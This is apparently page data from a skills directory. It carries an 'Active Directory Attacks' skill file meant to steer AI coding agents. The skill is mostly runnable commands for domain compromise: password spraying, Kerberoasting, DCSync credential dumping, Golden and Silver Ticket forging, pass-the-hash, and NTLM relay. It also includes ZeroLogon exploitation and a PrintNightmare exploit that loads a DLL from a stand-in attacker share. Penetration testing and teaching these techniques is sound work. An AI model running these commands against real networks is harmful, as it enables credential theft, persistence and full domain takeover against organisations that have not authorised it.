[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFR8V01D0VEF726EWG4SXK":3,"skill-same:01M6AFR8V01D0VEF726EWG4SXK":93},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":56,"repositoryHtmlUrl":57,"repositoryHomepageUrl":58,"ownerHtmlUrl":59,"ownerBlogUrl":60,"ownerDescription":61,"updatedAt":62,"install":63,"resources":76},"01M6AFR8V01D0VEF726EWG4SXK","Active Directory Attacks",null,"This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33481,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,5,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"directory","attacks","active","when","testing","silver","relay","penetration","golden","ticket","as","rep","domain","exploit","pass-the-hash","enumeration","kerberoasting","bloodhound","dcsync","penetration testing","windows","2026-11-10 10:12:30",false,"---\nname: Active Directory Attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs\u002FDeliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR\u002FNBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time \u002Fdomain \u002Fset\n\n# Fake clock without changing system time\nfaketime -f '+8h' \u003Ccommand>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n.\u002Fkerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local\u002F -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local\u002Fadmin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Fkrbtgt:HASH \u002Fid:500 \u002Fptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local\u002FAdministrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Ftarget:server.domain.local \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local\u002Fuser -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt \u002Fuser:user \u002Frc4:NTHASH \u002Fptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB\u002FHTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0\u002F24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http:\u002F\u002Fca.domain.local\u002Fcertsrv\u002Fcertfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local\u002FDC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local\u002FDC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local\u002Fuser:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278\u002F42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local\u002Fuser:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain\u002Fuser:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain\u002F -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain\u002Fadmin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain\u002Fuser@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden \u002Fuser:Admin \u002Fkrbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local\u002Fsvc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local\u002Fuser:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM\u002FWSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references\u002Fadvanced-attacks.md](references\u002Fadvanced-attacks.md).\n","# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs\u002FDeliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR\u002FNBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time \u002Fdomain \u002Fset\n\n# Fake clock without changing system time\nfaketime -f '+8h' \u003Ccommand>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n.\u002Fkerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local\u002F -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local\u002Fadmin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Fkrbtgt:HASH \u002Fid:500 \u002Fptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local\u002FAdministrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Ftarget:server.domain.local \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local\u002Fuser -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt \u002Fuser:user \u002Frc4:NTHASH \u002Fptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB\u002FHTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0\u002F24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http:\u002F\u002Fca.domain.local\u002Fcertsrv\u002Fcertfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local\u002FDC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local\u002FDC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local\u002Fuser:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278\u002F42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local\u002Fuser:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain\u002Fuser:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain\u002F -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain\u002Fadmin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain\u002Fuser@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden \u002Fuser:Admin \u002Fkrbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local\u002Fsvc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local\u002Fuser:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM\u002FWSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references\u002Fadvanced-attacks.md](references\u002Fadvanced-attacks.md).\n",{"name":5,"metadata":50,"description":7},{"author":51,"version":52},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks",3931,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-14 06:14:46",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":75},[65,68,71],{"tool":66,"command":67},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"Active Directory Attacks\"",{"tool":69,"command":70},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"Active Directory Attacks\"",{"tool":72,"command":73},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"Active Directory Attacks\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002FSKILL.md",true,[77,83,89],{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"LICENSE.txt","LICENSE","许可证",143,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fclaude\u002Fskills\u002Fseo-technical\u002FLICENSE.txt",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fadvanced-attacks.md","REFERENCE","参考文档",9996,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002Freferences\u002Fadvanced-attacks.md",{"path":90,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fagent-friendly-pages.md",8100,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fclaude\u002Fskills\u002Fseo-technical\u002Freferences\u002Fagent-friendly-pages.md",[94,121,148,181,216,239],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":101,"publishedAt":45},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[100],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[102,103,104,105,106,107,108,109,110,27,111,112,113,114,115,116,117,118,119,120],"scoring","pool","wealthville pool scoring","liquidity","which","for","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":128,"publishedAt":45},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[127],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[129,130,131,132,133,134,135,136,137,138,139,27,140,141,142,143,144,145,146,147],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":149,"name":150,"nameZh":6,"description":151,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":152,"categories":153,"keywords":163,"publishedAt":45},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[154,157,158],{"categoryNo":155,"categoryName":156,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":159,"categoryName":160,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[164,165,166,167,168,169,170,107,171,172,173,174,175,176,177,110,178,179,27,180],"readonly","guard","sql guard","sql","readonly sql 